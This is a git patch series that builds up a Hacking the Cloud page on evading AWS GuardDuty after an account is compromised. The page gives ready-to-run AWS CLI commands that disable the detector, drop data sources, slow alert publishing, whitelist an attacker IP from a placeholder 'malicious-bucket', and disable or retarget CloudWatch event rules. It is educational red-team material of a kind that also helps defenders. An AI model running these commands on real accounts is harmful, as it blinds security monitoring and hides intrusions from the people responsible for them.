From 4b8e41b6b67165fbd3add1dce9f6d54eb71b29ef Mon Sep 17 00:00:00 2001 From: bleemb Date: Sun, 30 Jan 2022 15:50:13 +1100 Subject: [PATCH 1/7] GuardDuty modifications --- .../modify-security-services.md | 78 +++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 content/aws/avoiding-detection/modify-security-services.md diff --git a/content/aws/avoiding-detection/modify-security-services.md b/content/aws/avoiding-detection/modify-security-services.md new file mode 100644 index 0000000..d6aacca --- /dev/null +++ b/content/aws/avoiding-detection/modify-security-services.md @@ -0,0 +1,78 @@ +--- +author: Ben Leembruggen +title: Modify Security Services +description: Update key AWS logging and detection services to hamper response activities. +enableEditBtn: true +editBaseURL: https://github.com/Hacking-the-Cloud/hackingthe.cloud/blob/main/content +--- + +Where an account has been successfully compromised, an attacker can modify detection and logging services in an account to reduce the likelihood of their actions triggering an alert. Whilst outright deleting services can trigger alerts from services like GuardDuty, modifying key attributes of these services is less likely to raise alerts and can render them close to useless depending on the scenario. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the AWS service architecture (using delegated admins or organisational services can limit your ability to make configuration changes in the tenant accounts) and the presence of higher level controls like Service Control Policies. + +## GuardDuty +### Misconfiguring the Detector +An attacker could modify an existing GuardDuty detector in the account, to remove sources of telemetry or lessen its effectiveness. + +Configuration changes may include a combination of: +- Disabling the detector altogether. +- Removing Kubernetes and s3 as data sources, which removes all [S3 Protection](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html) and [Kubernetes alerts](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-kubernetes.html). +- Increasing the publishing frequency to 6 hours, as opposed to as low as 15 minutes. + + +#### Required Permissions to execute: +- guardduty:ListDetectors +- guardduty:UpdateDetector + +Example Commands +``` +# Disabling the detector +aws guardduty update-detector \ + --detector-id 12abc34d567e8fa901bc2d34eexample \ + --no-enable + +# Removing s3 and kubernetes as log sources +aws guardduty update-detector \ + --detector-id 12abc34d567e8fa901bc2d34eexample \ + --data-sources S3Logs={Enable=false},Kubernetes={AuditLogs={Enable=false}} + +# Increase publishing time to 6 hours +aws guardduty update-detector \ + --detector-id 12abc34d567e8fa901bc2d34eexample \ + --finding-publishing-frequency SIX_HOURS +``` + +### Modifying Trusted IP Lists +An attacker could create or update GuardDuty's [Trusted IP list](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html), including their own IP on the list. Any IPs in a trusted IP list will not have any Cloudtrail or VPC flow log alerts raised against them. + + DNS findings are exempt from the Trusted IP list + +#### Required Permissions to execute: +- guardduty:ListIPSet +- guardduty:CreateIPSet (To create new list) +- guardduty:UpdateIPSet (To update an existing list) + + Depending on the level of stealth required, s3 upload permissions to a bucket in the account may also be appropriate. + + +Example Commands +``` +aws guardduty update-ip-set \ + --detector-id 12abc34d567e8fa901bc2d34eexample \ + --ip-set-id 24adjigdk34290840348exampleiplist \ + --location https://malicious-bucket.s3-us-east-1.amazonaws.com/customiplist.text \ + --activate +``` + +## Cloudtrail + + +GuardDuty +- + +(Not available if in a managed account) + +Config +- Recorders +- Aggregator +https://docs.aws.amazon.com/config/latest/developerguide/stop-start-recorder.html + +CloudTrail From 95be0d67d8987a1a46158e70932d3fe8b05ed79e Mon Sep 17 00:00:00 2001 From: bleemb Date: Sun, 30 Jan 2022 21:20:21 +1100 Subject: [PATCH 2/7] removed typos --- .../modify-security-services.md | 65 ++++++++++++------- 1 file changed, 42 insertions(+), 23 deletions(-) diff --git a/content/aws/avoiding-detection/modify-security-services.md b/content/aws/avoiding-detection/modify-security-services.md index d6aacca..5daab50 100644 --- a/content/aws/avoiding-detection/modify-security-services.md +++ b/content/aws/avoiding-detection/modify-security-services.md @@ -6,73 +6,92 @@ enableEditBtn: true editBaseURL: https://github.com/Hacking-the-Cloud/hackingthe.cloud/blob/main/content --- -Where an account has been successfully compromised, an attacker can modify detection and logging services in an account to reduce the likelihood of their actions triggering an alert. Whilst outright deleting services can trigger alerts from services like GuardDuty, modifying key attributes of these services is less likely to raise alerts and can render them close to useless depending on the scenario. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the AWS service architecture (using delegated admins or organisational services can limit your ability to make configuration changes in the tenant accounts) and the presence of higher level controls like Service Control Policies. +Where an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Whilst outright deleting services can trigger alerts, modifying key attributes of these services is less likely to raise alerts and can render them close to useless depending on the scenario. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the AWS service architecture and the presence of higher level controls like Service Control Policies. ## GuardDuty +Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so only able to be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in. + +--- ### Misconfiguring the Detector -An attacker could modify an existing GuardDuty detector in the account, to remove sources of telemetry or lessen its effectiveness. +An attacker could modify an existing GuardDuty detector in the account, to remove logs sources or lessen its effectiveness. Configuration changes may include a combination of: - Disabling the detector altogether. - Removing Kubernetes and s3 as data sources, which removes all [S3 Protection](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html) and [Kubernetes alerts](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-kubernetes.html). -- Increasing the publishing frequency to 6 hours, as opposed to as low as 15 minutes. +- Increasing the event update frequency to 6 hours, as opposed to as low as 15 minutes. #### Required Permissions to execute: - guardduty:ListDetectors - guardduty:UpdateDetector -Example Commands +Example CLI commands ``` # Disabling the detector aws guardduty update-detector \ --detector-id 12abc34d567e8fa901bc2d34eexample \ --no-enable -# Removing s3 and kubernetes as log sources +# Removing s3 as a log source aws guardduty update-detector \ --detector-id 12abc34d567e8fa901bc2d34eexample \ - --data-sources S3Logs={Enable=false},Kubernetes={AuditLogs={Enable=false}} + --data-sources S3Logs={Enable=false} -# Increase publishing time to 6 hours +# Increase finding update time to 6 hours aws guardduty update-detector \ --detector-id 12abc34d567e8fa901bc2d34eexample \ --finding-publishing-frequency SIX_HOURS ``` - +--- ### Modifying Trusted IP Lists An attacker could create or update GuardDuty's [Trusted IP list](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html), including their own IP on the list. Any IPs in a trusted IP list will not have any Cloudtrail or VPC flow log alerts raised against them. DNS findings are exempt from the Trusted IP list #### Required Permissions to execute: -- guardduty:ListIPSet +- guardduty:ListDetectors +- guardduty:ListIPSet +- iam:PutRolePolicy - guardduty:CreateIPSet (To create new list) - guardduty:UpdateIPSet (To update an existing list) - Depending on the level of stealth required, s3 upload permissions to a bucket in the account may also be appropriate. + Depending on the level of stealth required, the file can be uploaded to an s3 bucket in the target account, or an account controlled by the attacker. -Example Commands +Example CLI commands ``` aws guardduty update-ip-set \ --detector-id 12abc34d567e8fa901bc2d34eexample \ --ip-set-id 24adjigdk34290840348exampleiplist \ - --location https://malicious-bucket.s3-us-east-1.amazonaws.com/customiplist.text \ + --location https://malicious-bucket.s3-us-east-1.amazonaws.com/customiplist.csv \ --activate ``` -## Cloudtrail - - -GuardDuty -- +--- +### Modify Cloudwatch events rule. +GuardDuty populates its findings to Cloudwatch Events on a 5 minute cadence. Modifying the Event pattern or Targets for an event may reduce GuardDuty's ability to alert and auto-remediate findings, especially where the remediation is triggered in a member account; as GuardDuty administrator protections do not extend to the Cloudwatch events in the member account. -(Not available if in a managed account) +!!! Note +In a delegated or invitational admin GuardDuty architecture, cloudwatch events will still be created in the admin account. -Config -- Recorders -- Aggregator -https://docs.aws.amazon.com/config/latest/developerguide/stop-start-recorder.html +#### Required Permissions to execute: +- event:ListRules +- event:ListTargetsByRule +- event:PutRule +- event:RemoveTargets -CloudTrail +Example CLI commands +``` +# Disable GuardDuty Cloudwatch Event +aws events put-rule --name guardduty-event \ +--event-pattern "{\"source\":[\"aws.guardduty\"]}" \ +--state DISABLED + +# Modify Event Pattern +aws events put-rule --name guardduty-event \ +--event-pattern '{"source": ["aws.somethingthatdoesntexist"]}' + +# Remove Event Targets +aws events remove-targets --name guardduty-event \ +--ids "GuardDutyTarget" +``` \ No newline at end of file From ea27179034e0f50d6602d6485a066ae4aba70839 Mon Sep 17 00:00:00 2001 From: bleemb Date: Sun, 30 Jan 2022 21:32:26 +1100 Subject: [PATCH 3/7] renamed page title --- .../{modify-security-services.md => modify-guardduty-config.md} | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename content/aws/avoiding-detection/{modify-security-services.md => modify-guardduty-config.md} (99%) diff --git a/content/aws/avoiding-detection/modify-security-services.md b/content/aws/avoiding-detection/modify-guardduty-config.md similarity index 99% rename from content/aws/avoiding-detection/modify-security-services.md rename to content/aws/avoiding-detection/modify-guardduty-config.md index 5daab50..4a5310d 100644 --- a/content/aws/avoiding-detection/modify-security-services.md +++ b/content/aws/avoiding-detection/modify-guardduty-config.md @@ -68,7 +68,7 @@ aws guardduty update-ip-set \ ``` --- -### Modify Cloudwatch events rule. +### Modify Cloudwatch events rule GuardDuty populates its findings to Cloudwatch Events on a 5 minute cadence. Modifying the Event pattern or Targets for an event may reduce GuardDuty's ability to alert and auto-remediate findings, especially where the remediation is triggered in a member account; as GuardDuty administrator protections do not extend to the Cloudwatch events in the member account. !!! Note From 33d0ec753f9b3ea26a17e18a0d4854c8c08d0cf5 Mon Sep 17 00:00:00 2001 From: bleemb Date: Sun, 30 Jan 2022 21:32:49 +1100 Subject: [PATCH 4/7] recommit --- content/aws/avoiding-detection/modify-guardduty-config.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/content/aws/avoiding-detection/modify-guardduty-config.md b/content/aws/avoiding-detection/modify-guardduty-config.md index 4a5310d..2deef00 100644 --- a/content/aws/avoiding-detection/modify-guardduty-config.md +++ b/content/aws/avoiding-detection/modify-guardduty-config.md @@ -1,7 +1,7 @@ --- author: Ben Leembruggen -title: Modify Security Services -description: Update key AWS logging and detection services to hamper response activities. +title: Modify GuardDuty Configuration +description: Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities. enableEditBtn: true editBaseURL: https://github.com/Hacking-the-Cloud/hackingthe.cloud/blob/main/content --- From 6547c38d387576f173eef6a4b4684b2d657f2cc2 Mon Sep 17 00:00:00 2001 From: bleemb Date: Sun, 30 Jan 2022 21:39:08 +1100 Subject: [PATCH 5/7] fixed typo --- content/aws/avoiding-detection/modify-guardduty-config.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/content/aws/avoiding-detection/modify-guardduty-config.md b/content/aws/avoiding-detection/modify-guardduty-config.md index 2deef00..fa834fa 100644 --- a/content/aws/avoiding-detection/modify-guardduty-config.md +++ b/content/aws/avoiding-detection/modify-guardduty-config.md @@ -6,7 +6,7 @@ enableEditBtn: true editBaseURL: https://github.com/Hacking-the-Cloud/hackingthe.cloud/blob/main/content --- -Where an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Whilst outright deleting services can trigger alerts, modifying key attributes of these services is less likely to raise alerts and can render them close to useless depending on the scenario. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the AWS service architecture and the presence of higher level controls like Service Control Policies. +When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like Service Control Policies. ## GuardDuty Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so only able to be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in. @@ -69,7 +69,7 @@ aws guardduty update-ip-set \ --- ### Modify Cloudwatch events rule -GuardDuty populates its findings to Cloudwatch Events on a 5 minute cadence. Modifying the Event pattern or Targets for an event may reduce GuardDuty's ability to alert and auto-remediate findings, especially where the remediation is triggered in a member account; as GuardDuty administrator protections do not extend to the Cloudwatch events in the member account. +GuardDuty populates its findings to Cloudwatch Events on a 5 minute cadence. Modifying the Event pattern or Targets for an event may reduce GuardDuty's ability to alert and trigger auto-remediation of findings, especially where the remediation is triggered in a member account - as GuardDuty administrator protections do not extend to the Cloudwatch events in the member account. !!! Note In a delegated or invitational admin GuardDuty architecture, cloudwatch events will still be created in the admin account. From e51aa9af85e99cca4899d40379b38ca42c5fa120 Mon Sep 17 00:00:00 2001 From: Nick Frichette Date: Sun, 30 Jan 2022 12:55:34 -0600 Subject: [PATCH 6/7] Fixed header --- content/aws/avoiding-detection/modify-guardduty-config.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/content/aws/avoiding-detection/modify-guardduty-config.md b/content/aws/avoiding-detection/modify-guardduty-config.md index fa834fa..eeeb9f0 100644 --- a/content/aws/avoiding-detection/modify-guardduty-config.md +++ b/content/aws/avoiding-detection/modify-guardduty-config.md @@ -2,8 +2,6 @@ author: Ben Leembruggen title: Modify GuardDuty Configuration description: Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities. -enableEditBtn: true -editBaseURL: https://github.com/Hacking-the-Cloud/hackingthe.cloud/blob/main/content --- When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like Service Control Policies. From baff6266057fb52c837bf1ae8f80e345fce70df6 Mon Sep 17 00:00:00 2001 From: Nick Frichette Date: Sun, 30 Jan 2022 13:21:08 -0600 Subject: [PATCH 7/7] Made a few minor formatting tweaks --- .../modify-guardduty-config.md | 25 ++++++++++--------- 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/content/aws/avoiding-detection/modify-guardduty-config.md b/content/aws/avoiding-detection/modify-guardduty-config.md index eeeb9f0..577dae8 100644 --- a/content/aws/avoiding-detection/modify-guardduty-config.md +++ b/content/aws/avoiding-detection/modify-guardduty-config.md @@ -4,22 +4,23 @@ title: Modify GuardDuty Configuration description: Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities. --- -When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like Service Control Policies. +When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like [Service Control Policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html). ## GuardDuty -Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so only able to be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in. +Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so they can only be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in. --- ### Misconfiguring the Detector -An attacker could modify an existing GuardDuty detector in the account, to remove logs sources or lessen its effectiveness. +An attacker could modify an existing GuardDuty detector in the account, to remove log sources or lessen its effectiveness. Configuration changes may include a combination of: -- Disabling the detector altogether. -- Removing Kubernetes and s3 as data sources, which removes all [S3 Protection](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html) and [Kubernetes alerts](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-kubernetes.html). + +- Disabling the detector altogether. +- Removing Kubernetes and s3 as data sources, which removes all [S3 Protection](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html) and [Kubernetes alerts](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-kubernetes.html). - Increasing the event update frequency to 6 hours, as opposed to as low as 15 minutes. -#### Required Permissions to execute: +#### Required Permissions to execute - guardduty:ListDetectors - guardduty:UpdateDetector @@ -44,16 +45,16 @@ aws guardduty update-detector \ ### Modifying Trusted IP Lists An attacker could create or update GuardDuty's [Trusted IP list](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html), including their own IP on the list. Any IPs in a trusted IP list will not have any Cloudtrail or VPC flow log alerts raised against them. - DNS findings are exempt from the Trusted IP list +*DNS findings are exempt from the Trusted IP list.* -#### Required Permissions to execute: +#### Required Permissions to execute - guardduty:ListDetectors - guardduty:ListIPSet - iam:PutRolePolicy - guardduty:CreateIPSet (To create new list) - guardduty:UpdateIPSet (To update an existing list) - Depending on the level of stealth required, the file can be uploaded to an s3 bucket in the target account, or an account controlled by the attacker. +*Depending on the level of stealth required, the file can be uploaded to an s3 bucket in the target account, or an account controlled by the attacker.* Example CLI commands @@ -67,12 +68,12 @@ aws guardduty update-ip-set \ --- ### Modify Cloudwatch events rule -GuardDuty populates its findings to Cloudwatch Events on a 5 minute cadence. Modifying the Event pattern or Targets for an event may reduce GuardDuty's ability to alert and trigger auto-remediation of findings, especially where the remediation is triggered in a member account - as GuardDuty administrator protections do not extend to the Cloudwatch events in the member account. +GuardDuty populates its findings to Cloudwatch Events on a 5 minute cadence. Modifying the Event pattern or Targets for an event may reduce GuardDuty's ability to alert and trigger auto-remediation of findings, especially where the remediation is triggered in a member account as GuardDuty administrator protections do not extend to the Cloudwatch events in the member account. !!! Note -In a delegated or invitational admin GuardDuty architecture, cloudwatch events will still be created in the admin account. + In a delegated or invitational admin GuardDuty architecture, cloudwatch events will still be created in the admin account. -#### Required Permissions to execute: +#### Required Permissions to execute - event:ListRules - event:ListTargetsByRule - event:PutRule